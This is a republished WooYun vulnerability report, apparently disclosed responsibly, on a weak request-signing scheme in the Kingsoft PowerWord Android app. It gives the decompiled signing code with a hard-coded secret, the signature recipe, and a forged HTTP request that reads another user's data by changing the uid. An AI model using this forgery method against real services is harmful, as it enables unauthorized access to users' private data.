金山词霸安卓app越权问题(signature算法太弱轻松破解)

admin 2017年4月6日19:10:40评论465 views字数 223阅读0分44秒阅读模式
摘要

2016-03-28: 细节已通知厂商并且等待厂商处理中
2016-03-29: 厂商已经确认,细节仅向厂商公开
2016-04-08: 细节向核心白帽子及相关领域专家公开
2016-04-18: 细节向普通白帽子公开
2016-04-28: 细节向实习白帽子公开
2016-05-13: 细节向公众公开

漏洞概要 关注数(19) 关注此漏洞

缺陷编号: WooYun-2016-190106

漏洞标题: 金山词霸安卓app越权问题(signature算法太弱轻松破解)

相关厂商: 金山词霸

漏洞作者: hecate

提交时间: 2016-03-28 23:32

公开时间: 2016-05-13 09:40

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 设计缺陷

4人收藏


漏洞详情

披露状态:

2016-03-28: 细节已通知厂商并且等待厂商处理中
2016-03-29: 厂商已经确认,细节仅向厂商公开
2016-04-08: 细节向核心白帽子及相关领域专家公开
2016-04-18: 细节向普通白帽子公开
2016-04-28: 细节向实习白帽子公开
2016-05-13: 细节向公众公开

简要描述:

rt

详细说明:

金山词霸安卓app下载地址 http://cp.iciba.com/android/

登录后每一个数据包都带signature字段,比如

code 区域
GET /yuedu/book/mine?key=1000005&timestamp=1459157956&uid=17593960&uuid=22da2b191b084cd182b8a38048ab9c7c&v=8.3.2&sv=android4.0.4&signature=1f43b60c1113ed2a2564c471a92b0a50&page=0&size=10&mylist= HTTP/1.1
Host: service.iciba.com
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

想直接修改uid查看别人的信息会提示失败

金山词霸安卓app越权问题(signature算法太弱轻松破解)

没有cookie和session认证,那么破解signature后就能自己组包生成signature了,以达到越权的目的。

以我的小说为例,

金山词霸安卓app越权问题(signature算法太弱轻松破解)

反编译apk搜索/yuedu/book/mine

金山词霸安卓app越权问题(signature算法太弱轻松破解)

其中signature是这样生成的

code 区域
localStringBuilder.append("&signature=").append(Utils.getMyBookSign("1000005", String.valueOf(localLong.intValue()), "5dabcfd3f5f4c8422a680379438cec7b", Utils.getUID(this.mContext)));

翻译过来就是 1000005+timestamp+5dabcfd3f5f4c8422a680379438cec7b+uid

修改uid后再根据上面的生成signature就能越权了,比如查看uid为 1的用户:

金山词霸安卓app越权问题(signature算法太弱轻松破解)

生成如下链接

code 区域
GET /yuedu/book/mine?key=1000005&timestamp=1459157956&uid=1&uuid=22da2b191b084cd182b8a38048ab9c7c&v=8.3.2&sv=android4.0.4&signature=0d0902de513552239a54b5d785611604&page=0&size=10&mylist= HTTP/1.1
Host: service.iciba.com
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

这时就能成功越权了

金山词霸安卓app越权问题(signature算法太弱轻松破解)

漏洞证明:

其他功能的signature都是一样弱,存在类似的问题

金山词霸安卓app越权问题(signature算法太弱轻松破解)

修复方案:

版权声明:转载请注明来源 hecate@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-03-29 09:32

厂商回复:

感谢提交,已通知业务进行修复处理

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

0%

0%

0%

0%


评价

  1. 2016-03-29 01:02 | _Thorns ( 普通白帽子 | Rank:1754 漏洞数:269 | 以大多数人的努力程度之低,根本轮不到去拼...)

    1

    前排围观表哥。

  2. 2016-03-29 09:33 | hecate ( 普通白帽子 | Rank:823 漏洞数:129 | ®高级安全工程师 | WooYun认证√)

    1

    @_Thorns 你起的好早啊

  3. 2016-05-20 15:58 | 黑色的屌丝 ( 实习白帽子 | Rank:39 漏洞数:6 | →_→→_→)

    0

    楼主 这是什么反编译工具?

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin